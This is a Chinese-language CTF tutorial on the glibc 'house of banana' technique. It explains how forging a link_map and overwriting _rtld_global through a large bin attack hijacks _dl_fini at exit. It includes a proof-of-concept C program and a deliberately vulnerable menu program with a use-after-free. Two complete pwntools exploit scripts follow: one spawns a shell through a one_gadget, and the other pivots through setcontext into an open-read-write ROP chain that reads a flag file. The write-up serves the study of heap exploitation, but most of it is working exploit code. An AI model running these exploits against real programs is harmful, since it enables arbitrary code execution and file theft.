house of banana
house of banana
适用版本:2.23到最新的2.36 (在2.27及以下不能打orw,在其上可以,因为只有在2.27版本之上才可以控制rdx并利用setcontext打一个orw)
利用条件:
可以任意地址写一个堆地址(通常使用
large bin attack
)能够从
main
函数返回或者调用exit
函数可以泄露
libc
地址和堆地址
漏洞原理
源码有点多,我这里只放上主要的代码,
void
_dl_fini (void) //house of banana
{
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
...
for (i = 0; i < nmaps; ++i) //l遍历link_map的链表
{
...
if (l->l_init_called) //重要的检查点
{
l->l_init_called = 0;
if (l->l_info[DT_FINI_ARRAY] != NULL //26
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL)) //13 这个基本都是满足条件的
{
if (l->l_info[DT_FINI_ARRAY] != NULL) //26
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //目标位置
}
}
}
代码中的l是link_map结构体
link_map
结构体是一个在Linux下用于动态链接的数据结构,用于保存共享对象库之间的依赖关系和符号表信息。每个共享对象都有一个link_map
结构体,通过这些结构体可以组成一个链表,这个链表描述了所有的共享对象库之间的依赖关系。
link_map
结构体定义在/usr/include/link.h
头文件中,其主要成员变量包括:
l_next
:指向下一个共享对象库的link_map
结构体的指针。l_real
:指向本身的地址info[x]
:它是一个指向ElfW(Dyn)
类型的指针,用于保存共享对象库的动态信息
_rtld_global
是一个在Linux下用于动态链接的全局变量,它是一个指向struct link_map
结构体的指针,代表当前进程的所有共享对象库之间的依赖关系和符号表信息。该全局变量在动态链接器
ld.so
中定义,其作用是记录动态链接器在进程启动时加载的所有共享对象库的link_map
结构体链表的头指针。在动态链接过程中,当需要查找符号表信息时,动态链接器可以通过访问
_rtld_global
指向的link_map
链表,遍历所有已加载的共享对象库,以寻找所需的符号表信息,这是动态链接的核心功能之一。也就是说我们需要利用large bin attack需改 _rtld_global为我们伪造的link_map结构体
重要源码分析
从上面的源码可以看出我们需要控制array的i的值才可以劫持执行流
控制array的值
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
其实就是
*array = (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); DT_FINI_ARRAY是26 一般把l_addr置零 d_un.d_ptr的偏移是8
也就是说我们在l_info[26]写入l_info[26]的地址,array的值就是l_info[27]中存放的值
控制i
i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val/ sizeof (ElfW(Addr))); DT_FINI_ARRAYSZ是28
也就是说我们在l_info[28]写入l_info[28]的地址,i的值就是l_info[29]中存放的值/8
需要绕过的检查
恢复
l_next
字段原本的值,这样之后的link_map
就不用再伪造了。(因为在遍历时需要有三个以上的link_map结构体)将
l_real
字段改为伪造的link_map
地址,以便满足if (l == l->l_real)
,确保不会触发assert
将
l_info[26]
的值设置为非空,为了满足if (l->l_info[DT_FINI_ARRAY] != NULL)
将
l->l_info[26]
的值设置为l->l_info[26]
的地址,那么l->l_info[27]
中的值则是array
将
l->l_info[28]
的值设置为l->l_info[28]
的地址,那么l->l_info[29]
中的值再除8
,则是最后的i
poc
//gcc poc.c -o poc -w -g
//ubuntu 18.04 GLIBC 2.27-3ubuntu1.6
#include <stdio.h>
#include <stdlib.h>
#define rtld_global_dl_ns 0x61b060
#define one_gadget 0x4f302
int main (void)
{
setvbuf(stdout, 0, 2, 0);
long long int libc_base=&printf-0x64e40;
printf("libc base %llx\n",libc_base);
size_t *p=malloc(0x400);
p[3]=libc_base+0x61c710;//l_next
p[5]=p;//l_real 也是伪造的link_map地址
p[34]=&p[34];//l->l_info[26] DT_FINI_ARRAY
p[35]=&p[38];//l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
p[36]=&p[36];//l->l_info[DT_FINI_ARRAYSZ]
p[37]=0x8;//i=l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
p[38]=libc_base+one_gadget;//call array[i]
p[0x62]=0x800000000;//使l->l_init_called 为1
*(size_t *)(rtld_global_dl_ns+libc_base)=p;//劫持_rtld_global_ns_loaded 目的伪造link_map
return 0;
}
题目
直接用的zikh师傅出的题用了两不同libc版本写的
2.27用的onegadget(因为不能控制寄存器)
2.31用的是orw(高版本的题基本上都会开沙箱)
程序分析
是一个菜单题有增加,删除,输出,编辑
漏洞
在delete中有一个uaf漏洞
源码
//gcc test.c -o test -w -g
//ubuntu 18.04 GLIBC 2.27-3ubuntu1.6
#include<stdio.h>
#include <unistd.h>
#define num 10
void *chunk_list[num];
int chunk_size[num];
void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void menu()
{
puts("1.add");
puts("2.edit");
puts("3.show");
puts("4.delete");
puts("5.exit");
puts("Your choice:");
}
int add()
{
int index,size;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("Size:");
scanf("%d",&size);
if(size<0x80||size>0x500)
exit(1);
chunk_list[index] = calloc(size,1);
chunk_size[index] = size;
}
int edit()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("context: ");
read(0,chunk_list[index],chunk_size[index]);
}
int delete()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
free(chunk_list[index]);
}
int show()
{
int index;
puts("index:");
scanf("%d",&index);
if(index<0 || index>=num)
exit(1);
puts("context: ");
puts(chunk_list[index]);
}
int main()
{
int choice;
init();
while(1){
menu();
scanf("%d",&choice);
if(choice==5){
exit(0);
}
else if(choice==1){
add();
}
else if(choice==2){
show();
}
else if(choice==3){
edit();
}
else if(choice==4){
delete();
}
}
}
用onegadget打
1、因为没有限制show,edit的次数,再加上一个uaf,先交libc地址和对地址泄露出来
2、利用large bin attack 将link_map的头节点(_rtld_global)换为伪造的link_map地址
3、进入exit函数获得shell
这个就比较简单了,伪造一个link_map结构体就可以了,需要注意的就是正确找到i_info[26]的位置
还有就是下面红线圈住的成员只占一个字节,要想让l_init_called为1要输入p64(0x800000000)(可能也有其他的)
用orw打
比上面就是多了利用setcontext打一个orw,下面讲一下一些细节
这个的难点在于需要结合setcontext进行栈迁移打一个orw
需要注意
不能直接控制执行流到setcontext,因为此时的rdx是2,而setcontext中的赋值如下图,需要rdx是一个合法的地址
那我们需要怎么做?
执行一个ret,因为你会发现在call下面有一个可以控制rdx为对地址的指令(这也是为什么2.27以上的版本可以打orw的一个原因)
然后执行call setcontext+61处的指令(为什么可以执行两次call,那是因为那是一个while循环i是多少就循环几次)
我们需要利用setcontext控制rsp,rcx(为什么又rcx是因为在setcontet指令中一个push rcx指令,为了不让执行流断掉,需要把rcx内填入ret的指令,结合rsp让执行流转移到orw上)
exp
2.27的用的是onegadget
from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
add_pri=0xCFF
show_pri=0xD13
edit_pri=0xD27
delete_pri=0xD3B
def add(index,size):
p.sendlineafter('Your choice:','1')
p.sendlineafter("index:\n",str(index))
p.sendlineafter("Size:",str(size))
def show(index):
p.sendlineafter('Your choice:','2')
p.sendlineafter("index:\n",str(index))
def edit(index,content):
p.sendlineafter('Your choice:','3')
p.sendlineafter("index:\n",str(index))
p.sendafter("context: \n",content)
def delete(index):
p.sendlineafter('Your choice:','4')
p.sendlineafter("index:\n",str(index))
def exit():
p.sendlineafter('Your choice:','5')
add(0,0x420)
add(1,0x500)
add(2,0x418)
delete(0)
add(3,0x500)
show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ec090
log_addr('libc_base')
edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_heap')
# large bin attack
# &_rtld_global
rtld_global=libc_base+0x61b060
l_next=libc_base+0x61c710
one_gadget=search_og(0)
edit(0,b'a'*0x18+p64(rtld_global-0x20))
delete(2)
debug(p,'pie',add_pri,delete_pri,edit_pri)
add(4,0x500)
link_map=p64(0)
link_map+=p64(l_next) #l_next
link_map+=p64(0)
link_map+=p64(leak_heap+0x940) #l_real
link_map+=p64(0)*28
link_map+=p64(leak_heap+0xa50) #l->info[26]
link_map+=p64(leak_heap+0xa70) #27
link_map+=p64(leak_heap+0xa60) #28
link_map+=p64(0x8) #29
link_map+=p64(libc_base+one_gadget)
link_map+=p64(0)*59
link_map+=p64(0x800000000)
edit(2,link_map)
exit()
#
p.interactive()
2.34用的是orw (版本2.31-0ubuntu9.7_amd64)
from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
add_pri=0xCFF
show_pri=0xD13
edit_pri=0xD27
delete_pri=0xD3B
def add(index,size):
p.sendlineafter('Your choice:','1')
p.sendlineafter("index:\n",str(index))
p.sendlineafter("Size:",str(size))
def show(index):
p.sendlineafter('Your choice:','2')
p.sendlineafter("index:\n",str(index))
def edit(index,content):
p.sendlineafter('Your choice:','3')
p.sendlineafter("index:\n",str(index))
p.sendafter("context: \n",content)
def delete(index):
p.sendlineafter('Your choice:','4')
p.sendlineafter("index:\n",str(index))
def exit():
p.sendlineafter('Your choice:','5')
add(0,0x420)
add(1,0x500)
add(2,0x418)
delete(0)
add(3,0x500)
show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ec090+0x1ff0c0
log_addr('libc_base')
edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)
leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_heap')
# large bin attack
# &_rtld_global
# rtld_global=libc_base+0x61b060
# l_next=libc_base+0x61c710
pop_rdi=libc_base+0x0000000000023b72
pop_rsi=libc_base+0x000000000002604f
pop_rdx_r12=libc_base+0x0000000000119241
open=libc.symbols['open']+libc_base
read=libc.symbols['read']+libc_base
write=libc.symbols['write']+libc_base
rtld_global=libc_base+0x222060
l_next=libc_base+0x223740
setcontext=libc_base+0x54f8d
one_gadget=search_og(0)
pop_rsp_ret=libc_base+0x000000000002f73a
ret=libc_base+0x0000000000040ff8
edit(0,b'a'*0x18+p64(rtld_global-0x20))
delete(2)
debug(p,'pie',add_pri,delete_pri,edit_pri)
add(4,0x500)
link_map=p64(0)
link_map+=p64(l_next) #l_next
link_map+=p64(0)
link_map+=p64(leak_heap+0x940) #l_real
link_map+=p64(0)*28
link_map+=p64(leak_heap+0xa50) #l->info[26]
link_map+=p64(leak_heap+0xa70) #27
link_map+=p64(leak_heap+0xa60) #28
link_map+=p64(0x10) #29
link_map+=p64(setcontext) #0
link_map+=p64(ret) #1
link_map+=p64(0)*13
link_map+=p64(leak_heap+0x200)#rsi
link_map+=b'flag\x00\x00\x00\x00'
link_map+=p64(0) #rbx 0x80
link_map+=p64(0x100)
link_map+=p64(0)*2
link_map+=p64(leak_heap+0xc60) #rsp
link_map+=p64(ret) #rcx
link_map+=p64(0)*38
link_map+=p64(0x800000000)
#open
rop=p64(pop_rdi)+p64(leak_heap+0xaf0)
rop+=p64(pop_rsi)+p64(0)
rop+=p64(open)
#read
rop+=p64(pop_rdi)+p64(3)
rop+=p64(pop_rsi)+p64(leak_heap+0x100)
rop+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
rop+=p64(read)
#write
rop+=p64(pop_rdi)+p64(1)
rop+=p64(pop_rsi)+p64(leak_heap+0x100)
rop+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
rop+=p64(write)
edit(2,link_map+rop)
exit()
# #
# pause()
# p.send(rop)
p.interactive()
# 0x205f58 rdx=leak_heap+0xa70